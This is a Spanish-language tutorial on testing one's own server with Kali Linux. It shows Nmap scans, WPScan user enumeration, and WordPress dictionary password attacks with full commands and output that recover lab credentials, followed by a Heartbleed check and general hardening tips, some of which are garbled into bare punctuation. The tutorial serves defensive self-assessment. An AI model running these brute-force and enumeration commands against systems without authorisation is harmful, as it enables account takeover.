Kali y otras herramientas similares ayudan a detectar vulnerabilidades en su software. Y es mejor si los encuentra primero, y no a los intrusos.
No se puede esconder un punzón en un saco: por ignorancia (aunque en algunos casos, intencionalmente) incluso las grandes corporaciones dejan agujeros en su sistema de seguridad. Es vital (1) localizarlos y (2) arreglarlos lo más rápido posible. Afortunadamente, existen muchos productos diferentes que ayudan con el primer punto. Entre ellos se encuentra Kali , una distribución de Linux diseñada para pruebas de seguridad. En este artículo, le mostraré cómo usar Kali Linux para investigar su sistema y encontrar debilidades simulando un atacante.
La distribución de Kali incluye muchas herramientas, todas de código abierto. Basta con ejecutar la instalación de la distribución y todas estas herramientas estarán disponibles de forma inmediata.
Imagen : Peter Gervase , CC BY-SA 4.0
Utilizaré dos sistemas como sujetos de prueba:
- kali.usersys.redhat.com : 30 GB de memoria y 6 CPU virtuales. Este sistema escaneará a la víctima y lanzará ataques.
- vulnerable.usersys.redhat.com : un sistema con Red Hat Enterprise Linux 8 integrado. Aquí tendrá que ser atacado.
He mencionado las características técnicas del equipo aquí por una razón. Algunas de nuestras tareas son bastante exigentes con el hardware, especialmente la CPU del sistema 2, que ejecutará el escáner de seguridad de WordPress ( WPScan ).
Buscar puertos abiertos
Comencé con un escaneo básico del sistema 2. Al escanear el sistema con Nmap , puede averiguar qué puertos y servicios son visibles desde el sistema 1 al iniciar el escaneo.
Imagen : Peter Gervase , CC BY-SA 4.0
Entonces, lo primero que hay que hacer es encontrar algunos puertos abiertos "interesantes": posibles debilidades. De hecho, cualquier puerto abierto es interesante porque es más probable que comprometa la red. En este ejemplo, 21, 22, 80 y 443 también son puertos para servicios de uso frecuente. Pero por ahora, solo estoy haciendo inteligencia y tratando de obtener la mayor cantidad de información posible sobre el sistema que quiero piratear.
Después de eso, para un análisis más profundo, seleccionaré el puerto 80 y ejecutaré el comando Nmap con los argumentos -p 80 y -A. Esto le permite obtener información sobre el sistema operativo y la aplicación que utiliza el puerto 80.
Imagen : Peter Gervase , CC BY-SA 4.0
Aquí nos interesan las siguientes líneas:
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux)) |_http-generator: WordPress 5.6.1
Encontrar información sobre los usuarios
Como ahora sé que este es un servidor de WordPress, puedo usar WPScan para obtener información sobre posibles vulnerabilidades. Sería bueno encontrar varios nombres de usuario y sus contraseñas. Para encontrarlos en una instancia dada de WordPress, use las opciones --enumerate u: Genial, encontré dos usuarios: admin y pgervase . Intentaré adivinar la contraseña del usuario administrador utilizando diccionarios de contraseñas, un archivo de texto con un conjunto de opciones posibles. Tomaré diccionarios de 3.231 y 3.543.076.137 líneas.
┌──(rootkali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic — https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021
Interesting Finding(s):
...
[i] User(s) Identified:
[+] admin
| Found By: Author Posts — Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] pgervase
| Found By: Author Posts — Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
Adivinar contraseñas con ataque de diccionario
Se pueden usar varias herramientas para ataques de diccionario. Aquí hay dos comandos de ejemplo con Nmap y WPScan:
# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt
Estas dos herramientas, por supuesto, pueden hacer mucho más, pero también son adecuadas para adivinar contraseñas.
Pero este comando WPScan, por ejemplo, muestra la contraseña al final del archivo:
┌──(rootkali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic — https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Thu Feb 18 20:32:13 2021
Interesting Finding(s):
…..
[+] Performing password attack on Wp Login against 1 user/s
Trying admin / redhat Time: 00:01:57
<==================================================================================================================>
(3231 / 3231) 100.00% Time: 00:01:57
Trying admin / redhat Time: 00:01:57
<=========================================================
> (3231 / 6462) 50.00%
ETA: ??:??:??
[SUCCESS] — admin / redhat
[!] Valid Combinations Found:
| Username: admin, Password: redhat
La sección de Combinaciones Válidas Encontradas al final contiene el nombre de usuario admin y su contraseña. Solo tomó dos minutos iterar sobre 3231 líneas.
Tengo otro archivo de diccionario con 3,238,659,984 entradas únicas, lo que llevará mucho más tiempo.
Nmap produce resultados mucho más rápido:
┌──(rootkali)-[~]
└─# nmap -sV --script http-wordpress-brute
--script-args userdb=users.txt,passdb=password.txt,threads=6
vulnerable.usersys.redhat.com
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
Host is up (0.00015s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
| http-wordpress-brute:
| Accounts:
| admin:redhat — Valid credentials <<<<<<<
| pgervase:redhat — Valid credentials <<<<<<<
|_ Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
3306/tcp open mysql MySQL 5.5.5-10.3.27-MariaDB
MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds
Es cierto que los registros HTTPD que se detectarán en el sistema comprometido pueden realizar un seguimiento de dicho escaneo:
10.19.47.170 - — [18/Feb/2021:20:14:01 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)»
Búsqueda de vulnerabilidades Heartbleed
Para obtener información sobre el servidor HTTPS y los protocolos SSL / TLS, utilizo el comando sslscan:
┌──(rootkali)-[~]
└─# sslscan vulnerable.usersys.redhat.com
Version: 2.0.6-static
OpenSSL 1.1.1i-dev xx XXX xxxx
Connected to 10.19.47.242
Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com
SSL/TLS Protocols:
SSLv2 disabled
SSLv3 disabled
TLSv1.0 disabled
TLSv1.1 disabled
TLSv1.2 enabled
TLSv1.3 enabled
<snip>
Vemos que no se encontró ninguna vulnerabilidad Heartbleed en las versiones de protocolo utilizadas en el servidor :
Heartbleed: TLSv1.3 not vulnerable to heartbleed TLSv1.2 not vulnerable to heartbleed
Bueno, significa que no puedo acceder a la RAM ni a los datos del servidor a través del módulo Heartbeat. Bueno ... no es el destino :)
Consejos de protección y prevención de piratería
Puede escribir muchos artículos sobre cómo resistir los ataques de piratas informáticos de todo tipo. Aquí me limitaré a recomendaciones generales:
- Examine su sistema : qué puertos están abiertos, qué puertos deberían estar abiertos, quién debería poder ver esos puertos y cuánto tráfico debería pasar por ellos. Nmap para ayudarte.
- : , , . .
- : , , WordPress, IP- . , IP- , . , .
- : , .
- : , . , .
- , : , « - ».
- Aproveche las herramientas adicionales de sus proveedores de software: por ejemplo, Red Hat Enterprise Linux incluye Red Hat Insights para ajustar su sistema y alertarlo sobre posibles amenazas de seguridad de manera oportuna.
Materiales útiles (en inglés)
Lo que se describe en este artículo es solo la punta del iceberg. Para profundizar, puede explorar los siguientes recursos:
Los servidores en la nube de Macleod son rápidos y seguros.
Regístrese usando el enlace de arriba o haciendo clic en el banner y obtenga un 10% de descuento durante el primer mes de alquiler de un servidor de cualquier configuración.